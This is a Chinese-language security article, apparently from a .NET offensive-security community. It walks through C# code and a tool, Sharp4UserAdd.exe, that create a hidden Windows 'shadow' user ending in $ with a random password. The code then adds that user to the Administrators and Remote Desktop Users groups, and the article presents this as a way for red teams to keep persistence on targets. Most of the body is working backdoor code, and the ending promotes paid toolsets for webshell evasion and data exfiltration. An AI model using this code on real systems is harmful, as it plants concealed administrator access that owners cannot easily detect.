01
阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02
在 Windows 操作系统中,影子用户通常是指那些不易被普通用户或系统管理员察觉的隐藏用户账户,创建影子用户常见的做法是在用户名后面添加 $ 符号,例如,admin$。通过这种方式创建的用户不会显示在 Windows 登录界面或用户控制面板中,因此常用于维持目标权限阶段。
03
原理分析
在 Windows 操作系统中,影子用户通常使用System.DirectoryServices命名空间可以方便地管理用户和组。通过DirectoryEntry类,我们可以访问和操作本地计算机的用户和组。工具的核心功能是创建一个新用户,将其添加到Administrators和Remote Desktop Users组中,并将其设置为影子账户。
3.1 创建用户
在.NET中我们可以通过创建一个DirectoryEntry对象访问本地计算机的目录服务,具体实现代码如下所示。
DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
这里使用WinNT协议,该协议出现在Windows NT 4.0 及更高版本的计算机或域中的目录服务,专用于访问和管理 Windows 网络中的资源,包括本地用户和组、远程计算机上的用户和组、以及域用户和组。具体协议格式如下所示
WinNT://<主机名>/<对象类型>/<对象名称>
<主机名>:表示目标计算机的名称,可以是本地计算机或远程计算机。<对象类型>:表示目录对象的类型,如 computer、user、group 等。<对象名称>:表示目录对象的名称,如用户名或组名。比如访问本地test用户,在.NET中可以使用如下代码。
DirectoryEntry localUser = new DirectoryEntry("WinNT://" + Environment.MachineName + "/User/username");
然后使用DirectoryEntry 实例化之后对象Children.Add方法添加一个新的系统用户对象,具体代码如下所示。
string user = args[0];
string username = user + "$";
string chars = "!@#$%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
Random randrom = new Random((int)DateTime.Now.Ticks);
string password = "";
for (int i = 0; i < 10; i++)
{
password += chars[randrom.Next(chars.Length)].ToString();
}
DirectoryEntry NewUser = AD.Children.Add(username, "user");
NewUser.Invoke("SetPassword", new object[]
{
password
});
NewUser.CommitChanges();
其中username是新用户的用户名,以$符号结尾,如前文所述在 Windows中,使用 $ 结尾的用户名通常不会显示在操作系统的用户列表中,因此这样的账户很难被发现,可以有效地隐藏账户,增加其隐蔽性。通过Invoke调用SetPassword方法设置新用户密码,最后使用CommitChanges方法保存新添加的系统账户。
3.2 将用户添加到组
我们需要将新创建的系统用户分别添加到Administrators组和Remote Desktop Users组,这样用户就具备了超级管理员和远程登录的权限。所以首先得查找名为Administrators的组。如果找到该组(即flag2为true),则将新用户添加到该组中。实现代码如下所示。
DirectoryEntry grp = AD.Children.Find("Administrators", "group");
bool flag2 = grp != null;
if (flag2)
{
grp.Invoke("Add", new object[]
{
NewUser.Path.ToString()
});
}
NewUser.Path返回用户对象的完整路径,用于标识该用户在DirectoryEntry目录中的位置,路径格式一般这样表示的:WinNT://<machinename>/User/<username>。同理最后通过如下代码将用户添加到Remote Desktop Users组</username></machinename>
grp = AD.Children.Find("Remote Desktop Users", "group");
bool flag3 = grp != null;
if (flag3)
{
grp.Invoke("Add", new object[]
{
NewUser.Path.ToString()
});
}
加入该组后创建的新用户便可以通过RDP连接远程计算器进行管理和操作。
04
工具实现
Sharp4UserAdd.exe 是一款用于创建Windows系统影子账户的工具。
用法上非常简单明了,只需给工具增加一个指向用户名的参数,密码会自动随机生成。具体命令行如下所示。
.Sharp4UserAdd.exe Ivan1ee1
运行命令后可见自动创建了影子用户Ivan1ee1$,并且自动分配一个随机的密码,进一步可以通过命令 net user Ivan1ee1$ 看到用户详细信息。
综上,Sharp4UserAdd.exe 是一款用于在 Windows 系统中创建隐藏影子账户的工具,通过在用户名后面添加 $ 符号,创建影子账户从而提高了账户的隐蔽性。原理上通过使用 DirectoryEntry 类和 WinNT 协议接口,在本地计算机上创建新用户并将其添加到系统的 Administrators 组和 Remote Desktop Users 组,具备管理员权限和远程桌面访问权限,方便红队持续维持目标权限。
05
推荐阅读
从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识,下面是公众号发布的精华文章集合,推荐大家阅读!
06
欢迎加入.NET安全星球
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。 星球门票后期价格随着内容和质量的不断沉淀会适当提高,因此越早加入越好!
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
我们还有一个会员专属的内部星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。
为了助力大家在2024国家级hvv演练中脱颖而出,我们特别整理出了一套涵盖dotNet安全矩阵星球的八大.NET相关方向工具集。
.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输
这些阶段所涉及的工具集不仅代表了当前.NET安全领域的最前沿技术,更是每一位网络安全爱好者不可或缺的实战利器。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...